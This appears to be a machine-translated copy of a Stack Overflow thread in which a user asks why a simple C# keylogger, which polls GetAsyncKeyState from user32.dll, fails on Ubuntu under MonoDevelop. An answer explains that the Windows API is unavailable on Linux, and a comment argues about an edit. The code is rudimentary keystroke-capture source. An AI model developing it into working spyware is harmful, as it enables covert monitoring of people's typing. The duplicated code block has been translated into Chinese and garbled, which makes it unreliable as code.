C# 在ubuntu上使用GetAsyncKeyState时出错

C# 在ubuntu上使用GetAsyncKeyState时出错,c#,ubuntu,C#,Ubuntu,我试图在monodevelop(Ubuntu)中制作一个简单的键盘记录程序,但我一直遇到以下错误: 这是我的密码: class MainClass { [DllImport ("user32.dll")] static extern short GetAsyncKeyState(Int32 vKey); public static void Main (string[] args) { MessageBox.Show ("Started");

我试图在monodevelop(Ubuntu)中制作一个简单的键盘记录程序,但我一直遇到以下错误:

这是我的密码:

class MainClass
{
    [DllImport ("user32.dll")]
    static extern short GetAsyncKeyState(Int32 vKey);
    public static void Main (string[] args)
    {
        MessageBox.Show ("Started");
        LogKeys ();
    }

    static void LogKeys()
    {
        MessageBox.Show ("Called");
        KeysConverter conv = new KeysConverter ();
        String text = "";
        while (true) 
        {
            Thread.Sleep (6);
            for (Int32 i = 0; i < 255; i++) 
            {
                Int32 key = GetAsyncKeyState (i);
                if (key == 1 || key == -32767)
                {
                    text += conv.ConvertToString (i);

                }

            }
        }
    }

}
class类main类
{
[DllImport(“user32.dll”)]
静态外部短GetAsyncKeyState(Int32 vKey);
公共静态void Main(字符串[]args)
{
MessageBox.Show(“已启动”);
日志键();
}
静态void日志键()
{
MessageBox.Show(“被调用”);
KeyConverter conv=新的KeyConverter();
字符串文本=”;
while(true)
{
睡眠(6);
对于(Int32 i=0;i<255;i++)
{
Int32 key=GetAsyncKeyState(i);
如果(键==1 | |键==-32767)
{
text+=conv.ConvertToString(i);
}
}
}
}
}
是因为我在用monodevelop吗?还是因为我不在实际的Windows计算机上?

GetASyncKeyState()是user32库中的本机Windows API函数,而不是.NET函数。MonoDevelop允许您构建可在linux和Windows上运行的.NET mono应用程序,但您的linux计算机无法访问本机Windows API函数,这就是问题的根源。您需要在.NET中找到一种检测按键的等效方法


GetAsyncKeyState的好处是它是全局的,即使进程的窗口不是目标焦点,它也会检测按键。你需要在.NET中找到类似的功能才能完成同样的任务。

@Adrian,感谢你从宝贵的生命中抽出时间来编辑我的帖子,而不是真正帮助我,这个社区是如此的棒和有用,绝对没有毒和可怕。我非常感谢你问我的问题,醒来时看到有人编辑了我的小语法错误并获得了批准,我不能拒绝编辑,我仍然没有答案。非常感谢。很好的社区嗨,“@CoolGuy”。您需要了解拼写和语法在本网站上实际上被认为是重要的(请参阅:,和)。我将您的问题编辑为审查队列的一部分,以确保问题的撰写达到本网站预期的质量。一旦达到足够的级别,您自己就可以访问。其次,不要攻击帮助。当你没有得到回应时,你很容易变得愤世嫉俗,这只会伤害你的事业,减少你得到答案的机会。看看你应该做什么。现在,虽然我对C#很在行,但在Windows堆栈之外使用它的经验很少。所以我只能慷慨地推测你所面临的问题。但在此之前,我要问你:你自己有没有努力研究这个问题,或者你有没有在没有做任何其他事情的情况下立即在这个网站上发布这个问题?如果您进行过研究,请编辑您的问题并包含详细信息。您是否还检查了您的环境中是否有user32.dll库,以及它是否有您试图调用的方法?